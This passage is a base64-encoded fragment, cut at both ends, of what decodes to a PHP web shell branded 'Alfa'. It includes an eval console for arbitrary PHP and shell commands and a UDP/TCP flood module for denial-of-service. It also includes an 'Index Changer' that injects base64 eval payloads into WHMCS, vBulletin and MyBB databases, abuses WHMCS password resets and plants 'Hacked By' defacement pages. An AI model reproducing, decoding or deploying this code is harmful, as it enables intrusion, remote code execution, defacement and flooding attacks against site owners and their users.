l09PSRrZXk/InNlbGVjdGVkIjoiIikuJz4nLiR2YWwuJzwvb3B0aW9uPic7fQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Q2VudGVyPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnaW5pXCcpIj58IElOSV9JTkZPIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnaW5mb1wnKSI+IHwgcGhwaW5mbyB8PC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnZXh0ZW5cJykiPiB8IGV4dGVuc2lvbnMgfDwvYT48L2NlbnRlcj48YnI+PGZvcm0gY2xhc3M9InBocC1ldmFscyIgbmFtZT0icGYiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9InZhciBhY2VfdmFsdWU9Z2VFdmFsQWNlVmFsdWUodGhpcyk7ZyhcJ3BocGV2YWxcJyxudWxsLGFjZV92YWx1ZSxudWxsLHRoaXMubGFuZ3VhZ2UudmFsdWUpOyByZXR1cm4gZmFsc2U7Ij48ZGl2IGNsYXNzPSJ0eHRmb250Ij5TZWxlY3QgTGFuZ3VhZ2U6IDwvZGl2PiA8c2VsZWN0IG5hbWU9Imxhbmd1YWdlIiBzdHlsZT0id2lkdGg6MzAwcHg7Ij4nLiRsYW5nX2h0bWwuJzwvc2VsZWN0PicuX2FsZmFfbG9hZF9hY2Vfb3B0aW9ucygiZXZhbCIpLic8YnI+PGJyPjxkaXYgY2xhc3M9ImJpZ2FyZWEiIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiPjxkaXYgY2xhc3M9InBocC1ldmFscy1hY2UiPicuKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhMSddKToiJmx0Oz9waHBcblxuXHRlY2hvKCdoZWxsbyBhbGZhICEnKTtcblxuPz4iKS4nPC9kaXY+PC9kaXY+PGNlbnRlcj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iIiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPjwvY2VudGVyPic7CmVjaG8gJzwvZm9ybT48cHJlIGlkPSJQaHBPdXRwdXQiIHN0eWxlPSInLihlbXB0eSgkX1BPU1RbJ2FsZmExJ10pPydkaXNwbGF5Om5vbmU7JzonJykuJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9Im1sMSI+JzsKaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpewppZigkX1BPU1RbJ2FsZmEzJ109PSJwaHAiKXsKb2Jfc3RhcnQoKTsKZXZhbCgnPz4nLiRfUE9TVFsnYWxmYTEnXSk7CiRyZXN1bHQgPSBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsKfWVsc2VpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCgpJiYkR0xPQkFMU1sic3lzIl09PSJ1bml4Iil7CgkkbGFuZyA9ICRfUE9TVFsnYWxmYTMnXTsKCSRmaWxlbmFtZSA9ICJ0ZW1wIi5yYW5kKDExMTExLDk5OTk5KTsKCSR0ZW1wID0gJHRlbXBkaXIuIi8iLiRmaWxlbmFtZSA7CglfX3dyaXRlX2ZpbGUoJGZpbGVuYW1lLCAkX1BPU1RbJ2FsZmExJ10pOwoJJHJlc3VsdCA9IGFsZmFFeCgibXYgeyRmaWxlbmFtZX0geyR0ZW1wfTt7JGxhbmd9IHskdGVtcH07cm0gLWYgeyR0ZW1wfSIpOwoJQHVubGluaygkZmlsZW5hbWUpOwoJQHVubGluaygkdGVtcCk7Cn0KZWNobyAnPHRleHRhcmVhIGNsYXNzPSJiaWdhcmVhIj4nLiRyZXN1bHQuJzwvdGV4dGFyZWE+JzsKfQplY2hvICc8L3ByZT48L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYWhhc2goKXsKaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnZnVsbF91cmxlbmNvZGUnKSkge2Z1bmN0aW9uIGZ1bGxfdXJsZW5jb2RlKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSAnJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0KJHN0cmluZ1Rvb2xzID0gYXJyYXkoCidCYXNlNjRfZW5jb2RlICggJHN0cmluZyApJyA9PiAnX19aVzVqYjJSbGNnKCRzKScsCidCYXNlNjRfZGVjb2RlICggJHN0cmluZyApJyA9PiAnX19aR1ZqYjJSbGNnKCRzKScsCidzdHJyZXYgKCAkc3RyaW5nICknID0+ICdzdHJyZXYoJHMpJywKJ2JpbjJoZXggKCAkc3RyaW5nICknID0+ICdiaW4yaGV4KCRzKScsCidoZXgyYmluICggJHN0cmluZyApJyA9PiAnaGV4MmJpbigkcyknLAonbWQ1ICggJHN0cmluZyApJyA9PiAnbWQ1KCRzKScsCidzaGExICggJHN0cmluZyApJyA9PiAnc2hhMSgkcyknLAonaGFzaCAoICJzaGEyNTEiLCAkc3RyaW5nICkgLS0+IHNoYTI1MScgPT4gJ2hhc2goInNoYTI1NiIsJHMpJywKJ2hhc2ggKCAic2hhMzg0IiwgJHN0cmluZyApIC0tPiBzaGEzODQnID0+ICdoYXNoKCJzaGEzODQiLCRzKScsCidoYXNoICggInNoYTUxMiIsICRzdHJpbmcgKSAtLT4gc2hhNTEyJyA9PiAnaGFzaCgic2hhNTEyIiwkcyknLAonY3J5cHQgKCAkc3RyaW5nICknID0+ICdjcnlwdCgkcyknLAonY3JjMzIgKCAkc3RyaW5nICknID0+ICdjcmMzMigkcyknLAonc3RyX3JvdDEzICggJHN0cmluZyApJyA9PiAnc3RyX3JvdDEzKCRzKScsCid1cmxlbmNvZGUgKCAkc3RyaW5nICknID0+ICd1cmxlbmNvZGUoJHMpJywKJ3VybGRlY29kZSAgKCAkc3RyaW5nICknID0+ICd1cmxkZWNvZGUoJHMpJywKJ2Z1bGxfdXJsZW5jb2RlICAoICRzdHJpbmcgKScgPT4gJ2Z1bGxfdXJsZW5jb2RlKCRzKScsCidodG1sc3BlY2lhbGNoYXJzICAoICRzdHJpbmcgKScgPT4gJ2h0bWxzcGVjaWFsY2hhcnMoJHMpJywKJ2Jhc2U2NF9lbmNvZGUgKGd6ZGVmbGF0ZSggJHN0cmluZyAsIDkpKSAtLT4gRW5jb2RlJyA9PiAnX19aVzVqYjJSbGNnKGd6ZGVmbGF0ZSgkcywgOSkpJywKJ2d6aW5mbGF0ZSAoYmFzZTY0X2RlY29kZSggJHN0cmluZyApKSAtLT4gRGVjb2RlJyA9PiAnQGd6aW5mbGF0ZShfX1pHVmpiMlJsY2coJHMpKScsCidzdHJfcm90MTMgKGJhc2U2NF9lbmNvZGUoICRzdHJpbmcgKSkgLS0+IEVuY29kZScgPT4gJ3N0cl9yb3QxMyhfX1pXNWpiMlJsY2coJHMpKScsCidiYXNlNjRfZGVjb2RlIChzdHJfcm90MTMoICRzdHJpbmcgKSkgLS0+IERlY29kZScgPT4gJ19fWkdWamIyUmxjZyhzdHJfcm90MTMoJHMpKScsCidzdHJfcm90MTMgKGJhc2U2NF9lbmNvZGUoZ3pkZWZsYXRlKCAkc3RyaW5nICwgOSkpKSAtLT4gRW5jb2RlJyA9PiAnc3RyX3JvdDEzKF9fWlc1amIyUmxjZyhnemRlZmxhdGUoJHMsOSkpKScsCidnemluZmxhdGUgKGJhc2U2NF9kZWNvZGUoc3RyX3JvdDEzKCAkc3RyaW5nICkpKSAtLT4gRGVjb2RlJyA9PiAnQGd6aW5mbGF0ZShfX1pHVmpiMlJsY2coc3RyX3JvdDEzKCRzKSkpJywKKTsKYWxmYWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKZWNobyAiPGZvcm0gb25TdWJtaXQ9J2coXCJoYXNoXCIsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyc+PGRpdiBjbGFzcz0ndHh0Zm9udCc+TWV0aG9kOjwvZGl2PiA8c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnIHN0eWxlPSd3aWR0aDo0MDBweDsnPiI7CmZvcmVhY2goJHN0cmluZ1Rvb2xzIGFzICRrID0+ICR2KQplY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInICIuKCRfUE9TVFsnYWxmYTEnXT09JHY/J3NlbGVjdGVkJzonJykuIj4iLiRrLiI8L29wdGlvbj4iOwplY2hvICI8L3NlbGVjdD4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnLz48YnI+PHRleHRhcmVhICBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz0nYmlnYXJlYSc+Ii4oZW1wdHkoJF9QT1NUWydhbGZhMSddKT8nJzpodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2FsZmEyJ10pKS4iPC90ZXh0YXJlYT48L2Zvcm0+IjsKaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpewokc3RyaW5nID0gYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmEyJ10pOwokc3RyaW5nID0gc3RyX3JlcGxhY2UoJ1wiJywnIicsJHN0cmluZyk7CiRhbGcgPSAkX1BPU1RbJ2FsZmExJ107CiRjb2RlID0gc3RyX3JlcGxhY2UoJyRzJywiJyIuJHN0cmluZy4iJyIsJGFsZyk7Cm9iX3N0YXJ0KCk7CmV2YWwoJ2VjaG8gJy4kY29kZS4nOycpOwokcmVzID0gb2JfZ2V0X2NvbnRlbnRzKCk7Cm9iX2VuZF9jbGVhbigpOwppZihpbl9hcnJheSgkYWxnLCAkc3RyaW5nVG9vbHMpKWVjaG8gJzx0ZXh0YXJlYSBjbGFzcz0iYmlnYXJlYSI+Jy5odG1sc3BlY2lhbGNoYXJzKCRyZXMpLic8L3RleHRhcmVhPic7Cn0KZWNobyAiPC9kaXY+IjsKYWxmYUZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFkb3MoKXsKYWxmYWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKZWNobyAnPGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBET1MgfDwvZGl2PjwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ2Rvc1wnLG51bGwsdGhpcy5ob3N0LnZhbHVlLHRoaXMudGltZS52YWx1ZSx0aGlzLnBvcnQudmFsdWUsdGhpcy5tLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+PGRpdiBjbGFzcz0idHh0Zm9udCI+TWV0aG9kIDogPHNlbGVjdCBuYW1lPSJtIiBzdHlsZT0id2lkdGg6ODBweDsiPjxvcHRpb24gdmFsdWU9InVkcCI+VURQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idGNwIj5UQ1A8L29wdGlvbj48L3NlbGVjdD4gSG9zdCA6IDxpbnB1dCBuYW1lPSJob3N0IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0ibG9jYWxob3N0IiBzaXplPSIyNSIgLz4gVGltZSA6IDxpbnB1dCBuYW1lPSJ0aW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgLz4gUG9ydCA6IDxpbnB1dCBuYW1lPSJwb3J0IiB0eXBlPSJ0ZXh0IiBzaXplPSIxMCIgLz4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIC8+PC9kaXY+PC9mb3JtPjwvY2VudGVyPjxicj4nOwppZighZW1wdHkoJF9QT1NUWydhbGZhMSddKSAmJiAhZW1wdHkoJF9QT1NUWydhbGZhMiddKSAmJiAhZW1wdHkoJF9QT1NUWydhbGZhMyddKSl7CmVjaG8gX19wcmUoKTsKJHBhY2tldHM9MDsKaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7CiRleGVjX3RpbWU9KGludCkkX1BPU1RbJ2FsZmEyJ107CiR0aW1lPXRpbWUoKTsKJG1heF90aW1lPSRleGVjX3RpbWUrJHRpbWU7CiRob3N0PSRfUE9TVFsnYWxmYTEnXTsKJHBvcnQ9KGludCkkX1BPU1RbJ2FsZmEzJ107CiRtZXRob2Q9JF9QT1NUWydhbGZhNCddOwokb3V0ID0gc3RyX3JlcGVhdCgnWCcsNjUwMDApOwp3aGlsZSgxKXsKJHBhY2tldHMrKzsKaWYodGltZSgpID4gJG1heF90aW1lKXsKYnJlYWs7Cn0KJGZwID0gQGZzb2Nrb3BlbigkbWV0aG9kLic6Ly8nLiRob3N0LCAkcG9ydCwgJGVycm5vLCAkZXJyc3RyLCA1KTsKaWYoJGZwKXsKZndyaXRlKCRmcCwgJG91dCk7CmZjbG9zZSgkZnApOwp9Cn0KZWNobyAiPGNlbnRlcj4kcGFja2V0cyAoIiAuIEByb3VuZCgoJHBhY2tldHMqNjUpLzEwMjQsIDIpIC4gIiBNQikgcGFja2V0cyBhdmVyYWdpbmcgIi4gQHJvdW5kKCRwYWNrZXRzLyRleGVjX3RpbWUsIDIpIC4gIiBwYWNrZXRzIHBlciBzZWNvbmQ8L2NlbnRlcj4iOwplY2hvICI8L3ByZT4iOwp9CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBfX3ByZSgpe3JldHVybignPHByZSBpZD0ic3RyT3V0cHV0IiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGNsYXNzPSJtbDEiPicpO30KZnVuY3Rpb24gYWxmYUluZGV4Q2hhbmdlcigpewphbGZhaGVhZCgpOwoKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBJbmRleCBDaGFuZ2VyIHw8L2Rpdj48L3A+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdJbmRleENoYW5nZXJcJyxudWxsLG51bGwsbnVsbCxcJ3dobWNzXCcpIj58IFdobWNzIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdJbmRleENoYW5nZXJcJyxudWxsLFwndmJcJyxudWxsKSI+fCB2QnVsbGV0aW4gfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ0luZGV4Q2hhbmdlclwnLG51bGwsbnVsbCxcJ215YmJcJykiPnwgTXlCQiB8IDwvYT48L2gzPjwvY2VudGVyPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTMnXSkmJigkX1BPU1RbJ2FsZmEzJ10gPT0gJ3dobWNzJykpewplY2hvIF9fcHJlKCk7CgplY2hvICI8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgV2htY3MgfDwvZGl2Pgo8cD48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgnd2htY3MnKS4iPGZvcm0gb25TdWJtaXQ9XCJnKCdJbmRleENoYW5nZXInLG51bGwsbnVsbCxudWxsLCd3aG1jcycsdGhpcy5mbmFtZS52YWx1ZSx0aGlzLnBhdGgudmFsdWUsdGhpcy5kYnUudmFsdWUsdGhpcy5kYm4udmFsdWUsdGhpcy5kYnAudmFsdWUsdGhpcy5kYmgudmFsdWUsdGhpcy5pbmRleC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIj4KIjsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lucHV0TmFtZScgPT4gJ2RiaCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdVUkwnLCAnaW5wdXROYW1lJyA9PiAncGF0aCcsICdpbnB1dFZhbHVlJyA9PiAnaHR0cDovL3NpdGUuY29tL3dobWNzJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0ZpbGUgTmFtZScsICdpbnB1dE5hbWUnID0+ICdmbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaW5wdXROYW1lJyA9PiAnZGJuJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnZGJ1JywgJ2lkJyA9PiAnZGJfdXNlcicsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ2JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAnZGJwJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICI8YnI+PGRpdiBjbGFzcz0ndHh0Zm9udCc+fCBZb3VyIEluZGV4IHw8L2Rpdj48YnI+Cjx0ZXh0YXJlYSBuYW1lPWluZGV4IHJvd3M9JzE5JyBjb2xzPScxMDMnPjx0aXRsZT5IYWNrZWQgQnkgU29sZSBTYWQgJiBJbnZpc2libGU8L3RpdGxlPjxiPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvYj48L3RleHRhcmVhPjxicj4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPgo8L2Zvcm0+PC9jZW50ZXI+PC9jZW50ZXI+IjsKaWYoaXNzZXQoJF9QT1NUWydhbGZhNiddKSl7CiRzMGxldmlzaWJsZT0iUG93ZXJlZCBCeSBTb2xldmlzaWJsZSI7CiRkYnUgPSAkX1BPU1RbJ2FsZmE2J107CiRwYXRoID0gJF9QT1NUWydhbGZhNSddOwokZm5hbWUgPSAkX1BPU1RbJ2FsZmE0J107CiRkYm4gPSAkX1BPU1RbJ2FsZmE3J107CiRkYnAgPSAkX1BPU1RbJ2FsZmE4J107CiRkYmggPSAkX1BPU1RbJ2FsZmE5J107CiRpbmRleCA9ICRfUE9TVFsnYWxmYTEwJ107CiRpbmRleCA9IHN0cl9yZXBsYWNlKCJcJyIsIiciLCRpbmRleCk7CiRkZWZhY2UgPSAnJHggPSBiYXNlNjRfZGVjb2RlKCInLl9fWlc1amIyUmxjZygkaW5kZXgpLiciKTsgJHNvbGV2aXNpYmxlID0gZm9wZW4oIicuJGZuYW1lLiciLCJ3Iik7IGZ3cml0ZSgkc29sZXZpc2libGUsJHgpOyc7CiRzYXZlRGF0YSA9IF9fWlc1amIyUmxjZygkZGVmYWNlKTsKJERlZiA9ICd7cGhwfWV2YWwoYmFzZTY0X2RlY29kZSgiJy4kc2F2ZURhdGEuJyIpKTt7L3BocH0nOwppZighZW1wdHkoJGRiaCkmJiFlbXB0eSgkZGJ1KSYmIWVtcHR5KCRkYm4pJiYhZW1wdHkoJGluZGV4KSl7CiRjb25uPUBteXNxbGlfY29ubmVjdCgkZGJoLCRkYnUsJGRicCwkZGJuKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xlU2F2ZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgbWVzc2FnZSBmcm9tIHRibGVtYWlsdGVtcGxhdGVzIHdoZXJlIG5hbWU9J1Bhc3N3b3JkIFJlc2V0IFZhbGlkYXRpb24nIik7CiRzb2xlR2V0ID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRzb2xlU2F2ZSk7CiR0ZW1wU2F2ZTEgPSAkc29sZUdldFsnbWVzc2FnZSddOwokdGVtcFNhdmUgPSBzdHJfcmVwbGFjZSgiJyIsIlwnIiwkdGVtcFNhdmUxKTsKJGluamVjdCA9ICJVUERBVEUgdGJsZW1haWx0ZW1wbGF0ZXMgU0VUIG1lc3NhZ2U9JyREZWYnIFdIRVJFIG5hbWU9J1Bhc3N3b3JkIFJlc2V0IFZhbGlkYXRpb24nIjsKJHJlc3VsdD1AbXlzcWxpX3F1ZXJ5KCRjb25uLCRpbmplY3QpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRjcmVhdGUgPSAiaW5zZXJ0IGludG8gdGJsY2xpZW50cyAoZW1haWwpIHZhbHVlcygnc29sZXZpc2libGVAZmJpLmdvdicpIjsKJHJlc3VsdDIgPUBteXNxbGlfcXVlcnkoJGNvbm4sJGNyZWF0ZSkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSl7CiRBbGZhU29sZSA9IG5ldyBBbGZhQ1VSTCh0cnVlKTsKJHNhdmV1cmwgPSAkQWxmYVNvbGUtPlNlbmQoJHBhdGguIi9wd3Jlc2V0LnBocCIpOwokZ2V0VG9rZW4gPSBwcmVnX21hdGNoKCIvbmFtZT1cInRva2VuXCIgdmFsdWU9XCIoLio/KVwiL2kiLCRzYXZldXJsLCR0b2tlbik7CiRBbGZhU29sZS0+U2VuZCgkcGF0aC4iL3B3cmVzZXQucGhwIiwicG9zdCIsInRva2VuPXskdG9rZW5bMV19JmFjdGlvbj1yZXNldCZlbWFpbD1zb2xldmlzaWJsZUBmYmkuZ292Iik7CiRiYWNrZGF0YSA9ICJVUERBVEUgdGJsZW1haWx0ZW1wbGF0ZXMgU0VUIG1lc3NhZ2U9J3skdGVtcFNhdmV9JyBXSEVSRSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyI7CiRTb2xldmlzaWJsZSA9IG15c3FsaV9xdWVyeSgkY29ubiwkYmFja2RhdGEpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7Cl9fYWxlcnQoJ0ZpbGUgQ3JlYXRlZC4uLicpOwplY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxmb250IGNvbG9yPXJlZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nIi4kcGF0aC4iLyIuJGZuYW1lLiInPkNsaWNrIEhlcmUgITwvYT48L2ZvbnQ+PC9iPjwvY2VudGVyPjxicj48YnI+IjsKfWVsc2V7CmVjaG8gIjxicj48cHJlIGlkPVwic3RyT3V0cHV0XCIgc3R5bGU9XCJtYXJnaW4tdG9wOjVweFwiIGNsYXNzPVwibWwxXCI+PGJyPjxjZW50ZXI+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+UGxlYXNlIGdvIHRvIFRhcmdldCA8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPlwiICIuJHBhdGguIi9wd3Jlc2V0LnBocCBcIjwvZm9udD48YnIvPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPiBhbmQgcmVzZXQgcGFzc3dvcmQgd2l0aCBlbWFpbDwvZm9udD4gPT4gPGZvbnQgY29sb3I9cmVkPnNvbGV2aXNpYmxlQGZiaS5nb3Y8L2ZvbnQ+PGJyLz48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5hbmQgZ28gdG88L2ZvbnQ+IDxmb250IGNvbG9yPXJlZD5cIiAiLiRwYXRoLiIvIi4kZm5hbWUuIiBcIjwvZm9udD48L2I+PC9jZW50ZXI+PGJyPjxicj4iOwp9fX19CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkgJiYgKCRfUE9TVFsnYWxmYTEnXSA9PSAndmInKSl7CmVjaG8gX19wcmUoKTsKCmVjaG8gIjxjZW50ZXI+PGNlbnRlcj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCB2QnVsbGV0aW4gfDwvZGl2Pgo8cD48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgndmInKS4iPGZvcm0gb25TdWJtaXQ9XCJnKCdJbmRleENoYW5nZXInLG51bGwsJ3ZiJyx0aGlzLmRidS52YWx1ZSx0aGlzLmRibi52YWx1ZSx0aGlzLmRicC52YWx1ZSx0aGlzLmRiaC52YWx1ZSx0aGlzLmluZGV4LnZhbHVlLHRoaXMucHJlZml4LnZhbHVlLCc+PicpOyByZXR1cm4gZmFsc2U7XCI+CiI7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpbnB1dE5hbWUnID0+ICdkYmgnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpbnB1dE5hbWUnID0+ICdkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpbnB1dE5hbWUnID0+ICdkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1ByZWZpeCcsICdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaWQnID0+ICdkYl9wcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICI8YnI+PGRpdiBjbGFzcz0ndHh0Zm9udCc+fCBZb3VyIEluZGV4IHw8L2Rpdj48YnI+Cjx0ZXh0YXJlYSBuYW1lPSdpbmRleCcgcm93cz0nMTknIGNvbHM9JzEwMyc+PHRpdGxlPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvdGl0bGU+PGI+SGFja2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlPC9iPjwvdGV4dGFyZWE+PGJyPgo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvY2VudGVyPjwvY2VudGVyPiI7CmlmKCRfUE9TVFsnYWxmYTgnXT09Jz4+Jyl7CiRzMGxldmlzaWJsZT0iUG93ZXJlZCBCeSBTb2xldmlzaWJsZSI7CiRkYnUgPSAkX1BPU1RbJ2FsZmEyJ107CiRkYm4gPSAkX1BPU1RbJ2FsZmEzJ107CiRkYnAgPSAkX1BPU1RbJ2FsZmE0J107CiRkYmggPSAkX1BPU1RbJ2FsZmE1J107CiRpbmRleCA9ICRfUE9TVFsnYWxmYTYnXTsKJHByZWZpeCA9ICRfUE9TVFsnYWxmYTcnXTsKJGluZGV4PXN0cl9yZXBsYWNlKCJcJyIsIiciLCRpbmRleCk7CiRzZXRfaW5kZXggPSAie1wke2V2YWwoYmFzZTY0X2RlY29kZShcJyI7CiRzZXRfaW5kZXggLj0gX19aVzVqYjJSbGNnKCJlY2hvIFwiJGluZGV4XCI7Iik7CiRzZXRfaW5kZXggLj0gIlwnKSl9fXtcJHtleGl0KCl9fSI7CmlmKCFlbXB0eSgkZGJoKSYmIWVtcHR5KCRkYnUpJiYhZW1wdHkoJGRibikmJiFlbXB0eSgkaW5kZXgpKXsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRkYmgsJGRidSwkZGJwLCRkYm4pIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGxvbGkxID0gIlVQREFURS